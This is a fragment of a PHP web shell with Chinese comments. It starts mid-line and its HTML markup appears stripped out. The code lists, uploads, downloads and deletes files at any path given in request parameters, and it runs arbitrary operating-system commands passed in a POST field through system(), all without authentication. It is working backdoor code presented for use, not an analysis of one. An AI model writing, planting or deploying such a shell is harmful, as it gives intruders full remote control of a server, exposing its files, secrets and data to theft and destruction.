服务器信息";
echo "";
phpinfo();
echo "";
}
// 文件管理功能
function file_manager() {
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
if (!is_dir($current_dir)) {
$current_dir = '.';
}
$files = scandir($current_dir);
echo "文件管理
";
echo "";
echo "";
foreach ($files as $file) {
if ($file == '.' || $file == '..') continue;
$full_path = $current_dir . '/' . $file;
echo "- ";
if (is_dir($full_path)) {
echo "$file/";
} else {
echo "$file";
echo " - 下载";
echo " - 删除";
}
echo "
";
}
echo "
";
}
// 文件上传功能
function file_upload() {
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
$upload_dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
if (!is_dir($upload_dir)) {
$upload_dir = '.';
}
$file = $_FILES['file'];
$upload_path = $upload_dir . '/' . basename($file['name']);
if (move_uploaded_file($file['tmp_name'], $upload_path)) {
echo "文件上传成功: $upload_path";
} else {
echo "文件上传失败";
}
}
echo "文件上传
";
echo "";
}
// 文件下载功能
function file_download() {
if (isset($_GET['download'])) {
$file_path = $_GET['download'];
if (file_exists($file_path) && is_file($file_path)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file_path));
readfile($file_path);
exit;
} else {
echo "文件不存在";
}
}
}
// 文件删除功能
function file_delete() {
if (isset($_GET['delete'])) {
$file_path = $_GET['delete'];
if (file_exists($file_path) && is_file($file_path)) {
if (unlink($file_path)) {
echo "文件删除成功: $file_path";
} else {
echo "文件删除失败";
}
} else {
echo "文件不存在";
}
}
}
// 命令执行功能
function command_execute() {
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
echo "命令执行结果
";
echo "";
system($cmd);
echo "";
}
echo "命令执行
";
echo "";
}
// 主逻辑
#show_server_info();
file_manager();
file_upload();
file_download();
file_delete();
command_execute();
?>